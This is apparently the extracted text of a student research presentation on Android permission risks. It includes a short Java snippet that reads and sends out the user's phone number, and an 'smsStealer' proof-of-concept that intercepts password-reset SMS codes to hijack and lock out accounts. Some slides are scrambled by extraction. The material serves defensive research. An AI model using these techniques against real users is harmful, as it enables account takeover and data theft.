Risks behind Device Information

Permissions
Anthony Hewins and Maria McCulley

Outline:

Introduction to Android permissions and security

Overview of our project

Potential attack vectors

Problem
Objectives
Motivation
Device ID information
Device ID information and SMS privileges
Device ID information and Location
Device ID information, SMS privileges, and Location

Possible solutions

Overview of Android

Android has attracted the higher number of developers because it is an open

source operating system. Developers can release their compelling products
to the consumers without much restrictions through Google Market.
Apps are sandboxed in modified GNU/Linux kernel

Theres no talking to other apps unless you ask permission

You get your own user ID (UID) if youre an app. So the OS thinks its a person.

If you want access certain sensitive things on the device like phone number,
you have to ask permission from the user.

By default, you start with nothing dangerous (called dangerous permissions)

Android App Permissions

Dangerous permissions, which must be asked for upon download such as Device
information, SMS privileges, Location, etc.
Normal permissions, which are granted by the system automatically such as Vibrate,
Internet, Set alarm, etc.
These permissions are included in a file called the AndroidManifest.xml

Google Bouncer
GOOGLE BOUNCER
(Obvious bad intentions)

Runs app shortly

Checks for Security
Exceptions
Checks for malicious
code

Google Bouncer
GOOGLE BOUNCER
(Obvious bad intentions)

Runs app shortly

Checks for Security
Exceptions
Checks for malicious
code

Bouncer overall

Has done a good job of keeping out

malicious apps that break the rules
of the Android system
Cant exactly keep out those
abusing permissions because they
play by the rules as far as the
device/Google knows

Malware in the Play store

Example of simplified but pretty accurate code:
In manifest.xml
<uses-permission android:name="android.permission.
READ_PHONE_STATE"/>

In some java files that control the app

TelephonyManager x = (TelephonyManager)
getSystemService(Context. TELEPHONY_SERVICE);
String phoneNumber = x.getLine1Number(); //Got the phone #

output = new BufferedOutputStream(getOutputStream());

output.append( phoneNumber);

send(output);
//Just stole your phone number, and you didn't even know it
//and Google cant stop them

What our research is on:

Our research is focusing on the following Dangerous permissions:
1.
2.
3.

Device information.
SMS privileges.
Location.

Problem: How can malicious applications misuse these permissions and

what are the risks behind them.

Permissions: Device ID

Device ID information:

Allows read only access to phone state, including the phone number of the device,
current cellular network information, the status of any ongoing calls, and a list of
any PhoneAccounts registered on the device [1]

READ_PHONE_STATE in better detail

getDeviceId()- returns IMEI/MEID (identifies a phone, and reveals

information about it as well through tools; e.g. IMEI.info)
getLine1Number()- returns phone number
getSimOperator()- Number that gets assigned to a cell provider
getMmsUAProfURL()- Returns URL of specific specs on the device

Basically, you can immediately figure out who someone is with this permission
and if their device is weak to certain attacks/bugs

Permissions: SMS privileges

SMS privileges:

and

READ: Allows an application to read SMS messages [1]

RECEIVE: Allows an application to receive notifications of SMS messages
They sound very similar, but in action theyre very different.

READ vs RECEIVE_SMS
READ is only reading the text, RECEIVE is being able to know when a text is
received AND know its contents (and the ability to filter messages as well):

Incoming text

Only one person is supposed to

respond, but everyone hears it

Broadcasting a message

Permissions: Location

Location:

COARSE: Allows an app to access approximate location*

FINE: Allows an app to access precise location (GPS coordinates) [1]
*not as focused on this permission for our project, everything has been on
ACCESS_FINE_LOCATION. We will explore it in later weeks.

Objectives
1.
2.

Create a survey paper that would thoroughly explain the dangers of device
information.
Outline potential dangers and attacks associated with device information
obtained through READ_PHONE_STATE.

3.

Explain how, when combined with RECEIVE_SMS and ACCESS_FINE_LOCATION,

READ_PHONE_STATE can become an even more dangerous permission.

Suggest potential solutions.

Motivations
The Top 20 Requested Permissions by Malicious
Apps. [5]
These statistics have been done on 1200 Apps and
show that READ_PHONE_STATE permission was
required by 1179 malicious apps.
Also, READ_SMS permission was required by 790
malicious apps, RECEIVE_SMS was required by
1179 malicious apps, and
ACCESS_FINE_LOCATION was required by 432
malicious apps.

Motivations
This data IS sensitive and should NOT be shared
Several studies have shown that malicious applications
use READ_PHONE_STATE much more frequently and that
IMEI and other information is being leaked
Many papers fail to fully explain why

Potential Attack Vectors

Word about Data brokering

Just READ_PHONE_STATE

READ_PHONE_STATE and RECEIVE_SMS

Using IMEI
Using Phone Number
Using IMSI
smsStealer

READ_PHONE_STATE and ACCESS_FINE_LOCATION

Data brokers: Background before attacks

Somewhere in some server, theres a complete profile attached to you. These

people that collect all this data are called data brokers.

If someone targets you, the IMEI is essentially the universal key needed to
unlock the profile

How they know its you? Identifiers like the IMEI

The NSF talk we watched showed this

Whenever we mention information gathering in an attack, its used to get your

digital profile or for selling it to build it to be more detailed

READ_PHONE_STATE: IMEI

Obtain general information about device

Make, model, original OS, CPU, and other information about the
device
Could be used in a targeted attack

Aid apps in selling information

Data is useless to data broker if it cannot be connected to a

user

Even seemingly inconsequential data can be of value if

connected to a user
IMEI is a useful way to connect data on apps to a real user

READ_PHONE_STATE: Phone Number

Obtain users name and profile picture through Facebook

This information is revealed easily if you try to reset the password for an account that has the
phone number tied to the account

Performing Phishing/Social Engineering attacks

Determine a general location

READ_PHONE_STATE: IMSI

Utilize IMSI and IMSI catcher to obtain information about a specified user,
especially location

Celebrity Example

Proof of concept attack:

smsStealer

smsStealer performing account hijacking

Abuses RECEIVE_SMS and READ_PHONE_STATE combined with INTERNET

Demonstrates an attack model of how an attacker can steal various types of

accounts from a user

Internet is a normal permission, so you get it automatically

Ex: Facebook, Twitter, T-Mobile, Yahoo mail (there are potentially infinite accounts vulnerable
to this attack, but we have confirmed these services can be exploited)
Two step verification doesnt stop it; the attacker can read that too

Can almost be fully automated depending on the account

Only problem is those are you a robot? checks force the attacker to be there real time

smsStealer upon opening the app part 1

()
e1

Server

n
tLi
e
g

onCreate()

ely
t
a
di oss
e
m acr t)
m
I
(
nt ne
se nter
i

Read from server

Phone #

smsStealer upon opening the app part 2

se;
= fal rator()) 1:
e
l
i
b
E_
pe
isTMo (getSimO BILE_COD
O
h
M
c
T_
swit
:
case
ODE_N
ILE_C rue;

B
O
M
t
T
case Mobile =
isT
;
break break;
:
t
l
defau

le)
Mobi erver();
S
tell

sT
if(i

Server

Read from server

Also performs an another check to see if the
user has T-Mobile, since T-Mobile is
vulnerable to the exploit (doesnt make the
attack more effective, just more efficient)

Phone #

Preparing the attack

User side
The attacker is now
preparing the attack.
In reality, an app
performing this attack
would occupy the
user with anything inapp or outside of it,
giving the attacker
just a minute for the
attack

Attacker side
Forgot your password?
Enter your phone number
and well send you a
verification text:

The moment the recovery text is sent

on
ati

Server

Service
with user
s account

Recovery number

rifi
e
V

y
tel
a
i
ed ross
m
(Im nt ac et)
se tern
in

Read from server

Verification #

Reset the password

User side
Their reaction will be something like:
Thats weird OR
Someones stealing my account! OR
AFK

Attacker side
hackAccount(77777);
// Attacker will
// automate as much
// as possible*

*Cant have an Are you a robot? prompt to be

fully automated. Everything else can be automatic.

After getting in the account (with Facebook)

User side

Attacker side

Incorrect password.
Try to reset it?

No more chance of getting it back now

after one last step...

Locking them out

User side

Attacker side

//Systematically remove everything

removeRecoveryPhoneNumbers();
removeRecoveryEmails();
removeSecurityCodes();
//Attacker is now the digital you

Possible solutions to Device ID problems

1.

2.

Apps should be ONLY have access to getters in app categories that aim to
replace standard messaging apps, tools, etc. Other apps have no use for this
data and can use other identifiers that are safer (e.g. If Clash of Clans calls
getDeviceID(), it should be an immediate flag for Bouncer)
READ_PHONE_STATE is used for some basic functionality of certain apps,
but it still has sensitive data on it and so it can be abused. Split up those
methods into a new permission so its easier to make security decisions.

Possible solutions to the smsStealer attack

1.

2.

Instead of sending a text to the phone number of the user in two step
verification, use an in-app notification if the user has the mobile app
associated with that account, which is most people (especially with social
media). This thwarts the vulnerability altogether.
Just increase the difficulty of resetting a password. This is less desirable
since its more effort, but it solves the problem. More Are you human?
prompts is one way to do this, or ask for more verification sources.

Week 5:
Week 1
Week 3

Week 2

Week 4
Week 6

Timeline
Timeline
Week 7 -Complete official

first draft of paper

-Continue
experimenting if
needed

-Begin application
experimenting
-Complete proof of
concept for SMS
attack

Week 8

Week 9

-Prepare for
presentation
-Complete paper and
poster

-Analyze areas of
weakness in our
paper and revise
-Begin poster

Week 10

References
[1] https://developer.android.com/reference/android/Manifest.permission.html
[2]http://tech.firstpost.com/news-analysis/18000-phones-with-same-imei-number-sibal-39714.html
[3] T. Boksasp and E. Utnes, "Android Apps and Permissions: Security and Privacy Risks",Institutt for
telematikk, 2012.
[4] T. Isohara, K. Takemori and A. Kubota, "Kernel-based Behavior Analysis for Android Malware
Detection", 2011 Seventh International Conference on Computational Intelligence and Security, 2011.
[5] Y. Zhou and X. Jiang, "Dissecting Android Malware: Characterization and Evolution",2012 IEEE
Symposium on Security and Privacy, 2012.

Thats all
Questions?

http://reu16.weebly.com/